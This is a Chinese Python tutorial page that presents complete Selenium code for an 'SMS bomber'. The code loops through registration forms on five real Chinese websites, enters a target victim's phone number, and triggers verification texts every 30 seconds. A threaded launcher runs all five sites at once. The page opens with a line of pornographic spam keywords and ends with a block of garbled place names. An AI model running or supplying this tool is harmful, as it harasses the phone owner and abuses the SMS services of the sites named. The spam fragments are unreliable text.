最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python短信轟炸的代碼

 更新時間:2020年03月25日 14:26:03   作者:小小鳥敲代碼  
這篇文章主要介紹了Python短信轟炸的代碼,代碼簡單易懂,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下

環(huán)境 python3.0

工具 pycharm

谷歌插件chromedriver

程序執(zhí)行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轟炸的電話號碼
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  發(fā)送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面這行是剛剛敘說的chromedrive的安裝路徑

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "http://button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='手機(jī)號']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "http://button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "http://a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='請輸入您的手機(jī)號碼']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("http://button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "http://input[@placeholder='請輸入手機(jī)號碼']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "http://input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("http://a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "http://input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "http://a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "http://input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "http://input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "http://a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

執(zhí)行放發(fā)

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品會",))
suning = Thread(target=hongzha.suning,args=("蘇寧",))
yhd= Thread( target=hongzha.yhd,args=("一號店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

總結(jié)

到此這篇關(guān)于Python短信轟炸的代碼的文章就介紹到這了,更多相關(guān)Python短信轟炸內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 詳解Python獲取線程返回值的三種方式

    詳解Python獲取線程返回值的三種方式

    提到線程,你的大腦應(yīng)該有這樣的印象:我們可以控制它何時開始,卻無法控制它何時結(jié)束,那么如何獲取線程的返回值呢?今天就和大家分享一下一些做法
    2022-07-07
  • python-docx 頁面設(shè)置詳解

    python-docx 頁面設(shè)置詳解

    今天小編就為大家分享一篇python docx 中頁面的設(shè)置,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2021-10-10
  • 零基礎(chǔ)寫python爬蟲之爬蟲框架Scrapy安裝配置

    零基礎(chǔ)寫python爬蟲之爬蟲框架Scrapy安裝配置

    Scrapy是一個使用Python編寫的,輕量級的,簡單輕巧,并且使用起來非常的方便。使用Scrapy可以很方便的完成網(wǎng)上數(shù)據(jù)的采集工作,它為我們完成了大量的工作,而不需要自己費大力氣去開發(fā)。
    2014-11-11
  • Python中可變和不可變對象的深入講解

    Python中可變和不可變對象的深入講解

    python與C/C++不一樣,它的變量使用有自己的特點,學(xué)python的時候一定要記住一切皆為對象,一切皆為對象的引用,這篇文章主要給大家介紹了關(guān)于Python中可變和不可變對象的相關(guān)資料,需要的朋友可以參考下
    2021-07-07
  • Django通過設(shè)置CORS解決跨域問題

    Django通過設(shè)置CORS解決跨域問題

    這篇文章主要介紹了Django 通過設(shè)置CORS解決跨域問題,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 淺談flask源碼之請求過程

    淺談flask源碼之請求過程

    這篇文章主要介紹了淺談flask源碼之請求過程,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-07-07
  • windows10安裝python依賴報錯can‘t?create?or?remove?files?in?install?directory問題

    windows10安裝python依賴報錯can‘t?create?or?remove?files?in?i

    這篇文章主要介紹了windows10安裝python依賴報錯can‘t?create?or?remove?files?in?install?directory問題及解決方案,具有很好的參考價值,希望對大家有所幫助
    2023-09-09
  • 使用Python編寫vim插件的簡單示例

    使用Python編寫vim插件的簡單示例

    這篇文章主要介紹了使用Python編寫vim插件的簡單教程,文中舉了一個獲取reddit首頁信息并顯示在緩沖區(qū)中的例子,需要的朋友可以參考下
    2015-04-04
  • Python Pandas處理CSV文件的常用技巧分享

    Python Pandas處理CSV文件的常用技巧分享

    這篇文章主要和大家分享幾個Python Pandas中處理CSV文件的常用技巧,如:統(tǒng)計列值出現(xiàn)的次數(shù)、篩選特定列值、遍歷數(shù)據(jù)行等,需要的可以參考一下
    2022-06-06
  • python中對%、~含義的解釋

    python中對%、~含義的解釋

    這篇文章主要介紹了python中對%、~含義的解釋,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-05-05

最新評論

顺昌县| 台中县| 桐城市| 额济纳旗| 比如县| 平潭县| 正安县| 安多县| 宾阳县| 高州市| 老河口市| 怀集县| 万安县| 依安县| 贵德县| 乐至县| 资源县| 青阳县| 东光县| 西充县| 泌阳县| 齐齐哈尔市| 广元市| 乌拉特前旗| 北安市| 沽源县| 平江县| 余庆县| 澎湖县| 连州市| 班玛县| 集安市| 四会市| 垫江县| 华池县| 彰武县| 睢宁县| 东安县| 贵州省| 罗定市| 越西县|